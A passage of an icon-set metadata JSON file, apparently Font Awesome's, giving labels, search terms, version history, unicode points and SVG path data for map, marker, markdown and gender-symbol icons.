28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"
      }
    },
    "free": ["brands"]
  },
  "map": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5fa", "f278"],
        "secondary": ["10f279"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel",
        "world",
        "world map"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f279",
    "label": "Map",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 476.1L192 421.2V35.9L384 90.8V476.1zm32-1.2V88.4L543.1 37.5c15.8-6.3 32.9 5.3 32.9 22.3V394.6c0 9.8-6 18.6-15.1 22.3L416 474.8zM15.1 95.1L160 37.2V423.6L32.9 474.5C17.1 480.8 0 469.2 0 452.2V117.4c0-9.8 6-18.6 15.1-22.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 476.1L192 421.2V35.9L384 90.8V476.1zm32-1.2V88.4L543.1 37.5c15.8-6.3 32.9 5.3 32.9 22.3V394.6c0 9.8-6 18.6-15.1 22.3L416 474.8zM15.1 95.1L160 37.2V423.6L32.9 474.5C17.1 480.8 0 469.2 0 452.2V117.4c0-9.8 6-18.6 15.1-22.3z"
      },
      "regular": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M565.6 36.2C572.1 40.7 576 48.1 576 56V392c0 10-6.2 18.9-15.5 22.4l-168 64c-5.2 2-10.9 2.1-16.1 .3L192.5 417.5l-160 61c-7.4 2.8-15.7 1.8-22.2-2.7S0 463.9 0 456V120c0-10 6.1-18.9 15.5-22.4l168-64c5.2-2 10.9-2.1 16.1-.3L383.5 94.5l160-61c7.4-2.8 15.7-1.8 22.2 2.7zM48 136.5V421.2l120-45.7V90.8L48 136.5zM360 422.7V137.3l-144-48V374.7l144 48zm48-1.5l120-45.7V90.8L408 136.5V421.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M565.6 36.2C572.1 40.7 576 48.1 576 56V392c0 10-6.2 18.9-15.5 22.4l-168 64c-5.2 2-10.9 2.1-16.1 .3L192.5 417.5l-160 61c-7.4 2.8-15.7 1.8-22.2-2.7S0 463.9 0 456V120c0-10 6.1-18.9 15.5-22.4l168-64c5.2-2 10.9-2.1 16.1-.3L383.5 94.5l160-61c7.4-2.8 15.7-1.8 22.2 2.7zM48 136.5V421.2l120-45.7V90.8L48 136.5zM360 422.7V137.3l-144-48V374.7l144 48zm48-1.5l120-45.7V90.8L408 136.5V421.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "map-location": {
    "aliases": {
      "names": ["map-marked"],
      "unicodes": {
        "secondary": ["10f59f"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f59f",
    "label": "Map Location",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M302.8 312C334.9 271.9 408 174.6 408 120C408 53.7 354.3 0 288 0S168 53.7 168 120c0 54.6 73.1 151.9 105.2 192c7.7 9.6 22 9.6 29.6 0zM416 503l144.9-58c9.1-3.6 15.1-12.5 15.1-22.3V152c0-17-17.1-28.6-32.9-22.3l-116 46.4c-.5 1.2-1 2.5-1.5 3.7c-2.9 6.8-6.1 13.7-9.6 20.6V503zM15.1 187.3C6 191 0 199.8 0 209.6V480.4c0 17 17.1 28.6 32.9 22.3L160 451.8V200.4c-3.5-6.9-6.7-13.8-9.6-20.6c-5.6-13.2-10.4-27.4-12.8-41.5l-122.6 49zM384 255c-20.5 31.3-42.3 59.6-56.2 77c-20.5 25.6-59.1 25.6-79.6 0c-13.9-17.4-35.7-45.7-56.2-77V449.4l192 54.9V255z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M302.8 312C334.9 271.9 408 174.6 408 120C408 53.7 354.3 0 288 0S168 53.7 168 120c0 54.6 73.1 151.9 105.2 192c7.7 9.6 22 9.6 29.6 0zM416 503l144.9-58c9.1-3.6 15.1-12.5 15.1-22.3V152c0-17-17.1-28.6-32.9-22.3l-116 46.4c-.5 1.2-1 2.5-1.5 3.7c-2.9 6.8-6.1 13.7-9.6 20.6V503zM15.1 187.3C6 191 0 199.8 0 209.6V480.4c0 17 17.1 28.6 32.9 22.3L160 451.8V200.4c-3.5-6.9-6.7-13.8-9.6-20.6c-5.6-13.2-10.4-27.4-12.8-41.5l-122.6 49zM384 255c-20.5 31.3-42.3 59.6-56.2 77c-20.5 25.6-59.1 25.6-79.6 0c-13.9-17.4-35.7-45.7-56.2-77V449.4l192 54.9V255z"
      }
    },
    "free": ["solid"]
  },
  "map-location-dot": {
    "aliases": {
      "names": ["map-marked-alt"],
      "unicodes": {
        "secondary": ["10f5a0"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5a0",
    "label": "Map Location Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M408 120c0 54.6-73.1 151.9-105.2 192c-7.7 9.6-22 9.6-29.6 0C241.1 271.9 168 174.6 168 120C168 53.7 221.7 0 288 0s120 53.7 120 120zm8 80.4c3.5-6.9 6.7-13.8 9.6-20.6c.5-1.2 1-2.5 1.5-3.7l116-46.4C558.9 123.4 576 135 576 152V422.8c0 9.8-6 18.6-15.1 22.3L416 503V200.4zM137.6 138.3c2.4 14.1 7.2 28.3 12.8 41.5c2.9 6.8 6.1 13.7 9.6 20.6V451.8L32.9 502.7C17.1 509 0 497.4 0 480.4V209.6c0-9.8 6-18.6 15.1-22.3l122.6-49zM327.8 332c13.9-17.4 35.7-45.7 56.2-77V504.3L192 449.4V255c20.5 31.3 42.3 59.6 56.2 77c20.5 25.6 59.1 25.6 79.6 0zM288 152a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M408 120c0 54.6-73.1 151.9-105.2 192c-7.7 9.6-22 9.6-29.6 0C241.1 271.9 168 174.6 168 120C168 53.7 221.7 0 288 0s120 53.7 120 120zm8 80.4c3.5-6.9 6.7-13.8 9.6-20.6c.5-1.2 1-2.5 1.5-3.7l116-46.4C558.9 123.4 576 135 576 152V422.8c0 9.8-6 18.6-15.1 22.3L416 503V200.4zM137.6 138.3c2.4 14.1 7.2 28.3 12.8 41.5c2.9 6.8 6.1 13.7 9.6 20.6V451.8L32.9 502.7C17.1 509 0 497.4 0 480.4V209.6c0-9.8 6-18.6 15.1-22.3l122.6-49zM327.8 332c13.9-17.4 35.7-45.7 56.2-77V504.3L192 449.4V255c20.5 31.3 42.3 59.6 56.2 77c20.5 25.6 59.1 25.6 79.6 0zM288 152a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "map-pin": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cd"],
        "secondary": ["10f276"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "agree",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "marker",
        "navigation",
        "pin",
        "place",
        "position",
        "pushpin",
        "round pushpin",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f276",
    "label": "Map Pin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M16 144a144 144 0 1 1 288 0A144 144 0 1 1 16 144zM160 80c8.8 0 16-7.2 16-16s-7.2-16-16-16c-53 0-96 43-96 96c0 8.8 7.2 16 16 16s16-7.2 16-16c0-35.3 28.7-64 64-64zM128 480V317.1c10.4 1.9 21.1 2.9 32 2.9s21.6-1 32-2.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M16 144a144 144 0 1 1 288 0A144 144 0 1 1 16 144zM160 80c8.8 0 16-7.2 16-16s-7.2-16-16-16c-53 0-96 43-96 96c0 8.8 7.2 16 16 16s16-7.2 16-16c0-35.3 28.7-64 64-64zM128 480V317.1c10.4 1.9 21.1 2.9 32 2.9s21.6-1 32-2.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "markdown": {
    "changes": ["5.2.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f60f",
    "label": "Markdown",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"
      }
    },
    "free": ["brands"]
  },
  "marker": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a1"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "sharpie", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f5a1",
    "label": "Marker",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481 31C445.1-4.8 386.9-4.8 351 31l-15 15L322.9 33C294.8 4.9 249.2 4.9 221.1 33L135 119c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L255 66.9c9.4-9.4 24.6-9.4 33.9 0L302.1 80 186.3 195.7 316.3 325.7 481 161c35.9-35.9 35.9-94.1 0-129.9zM293.7 348.3L163.7 218.3 99.5 282.5c-48 48-80.8 109.2-94.1 175.8l-5 25c-1.6 7.9 .9 16 6.6 21.7s13.8 8.1 21.7 6.6l25-5c66.6-13.3 127.8-46.1 175.8-94.1l64.2-64.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M481 31C445.1-4.8 386.9-4.8 351 31l-15 15L322.9 33C294.8 4.9 249.2 4.9 221.1 33L135 119c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L255 66.9c9.4-9.4 24.6-9.4 33.9 0L302.1 80 186.3 195.7 316.3 325.7 481 161c35.9-35.9 35.9-94.1 0-129.9zM293.7 348.3L163.7 218.3 99.5 282.5c-48 48-80.8 109.2-94.1 175.8l-5 25c-1.6 7.9 .9 16 6.6 21.7s13.8 8.1 21.7 6.6l25-5c66.6-13.3 127.8-46.1 175.8-94.1l64.2-64.2z"
      }
    },
    "free": ["solid"]
  },
  "mars": {
    "aliases": {
      "unicodes": {
        "composite": ["2642"],
        "secondary": ["10f222"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "male", "male sign", "man"]
    },
    "styles": ["solid"],
    "unicode": "f222",
    "label": "Mars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.8 46.8c3.7-9 12.5-14.8 22.2-14.8H424c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L321 204.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176S0 401.2 0 304s78.8-176 176-176c37 0 71.4 11.4 99.8 31l52.6-52.6L295 73c-6.9-6.9-8.9-17.2-5.2-26.2zM400 80l0 0h0v0zM176 416a112 112 0 1 0 0-224 112 112 0 1 0 0 224z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.8 46.8c3.7-9 12.5-14.8 22.2-14.8H424c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L321 204.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176S0 401.2 0 304s78.8-176 176-176c37 0 71.4 11.4 99.8 31l52.6-52.6L295 73c-6.9-6.9-8.9-17.2-5.2-26.2zM400 80l0 0h0v0zM176 416a112 112 0 1 0 0-224 112 112 0 1 0 0 224z"
      }
    },
    "free": ["solid"]
  },
  "mars-and-venus": {
    "aliases": {
      "unicodes": {
        "composite": ["26a5"],
        "secondary": ["10f224"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Male and Female Sign",
        "female",
        "gender",
        "intersex",
        "male",
        "transgender"
      ]
    },
    "styles": ["solid"],
    "unicode": "f224",
    "label": "Mars And Venus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M337.8 14.8C341.5 5.8 350.3 0 360 0H472c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-24.7 24.7C407 163.3 416 192.6 416 224c0 80.2-59.1 146.7-136.1 158.2c0 .6 .1 1.2 .1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3h24c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l-24 0-24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456H208c-13.3 0-24-10.7-24-24s10.7-24 24-24h24v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2 .1-1.8C155.1 370.7 96 304.2 96 224c0-88.4 71.6-160 160-160c39.6 0 75.9 14.4 103.8 38.2L382.1 80 343 41c-6.9-6.9-8.9-17.2-5.2-26.2zM448 48l0 0h0v0zM256 488h24c0 13.3-10.7 24-24 24s-24-10.7-24-24h24zm96-264a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M337.8 14.8C341.5 5.8 350.3 0 360 0H472c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-24.7 24.7C407 163.3 416 192.6 416 224c0 80.2-59.1 146.7-136.1 158.2c0 .6 .1 1.2 .1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3h24c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l-24 0-24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456H208c-13.3 0-24-10.7-24-24s10.7-24 24-24h24v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2 .1-1.8C155.1 370.7 96 304.2 96 224c0-88.4 71.6-160 160-160c39.6 0 75.9 14.4 103.8 38.2L382.1 80 343 41c-6.9-6.9-8.9-17.2-5.2-26.2zM448 48l0 0h0v0zM256 488h24c0 13.3-10.7 24-24 24s-24-10.7-24-24h24zm96-264a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "mars-and-venus-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e523",
    "label": "Mars And Venus Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M504 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l39 39-22.2 22.2C475.9 78.4 439.6 64 400 64c-88.4 0-160 71.6-160 160c0 80.2 59.1 146.7 136.1 158.2c0 .6-.1 1.2-.1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3H352c-13.3 0-24 10.7-24 24s10.7 24 24 24h24v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l24 0H376c0 13.3 10.7 24 24 24s24-10.7 24-24H400l24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456h24c13.3 0 24-10.7 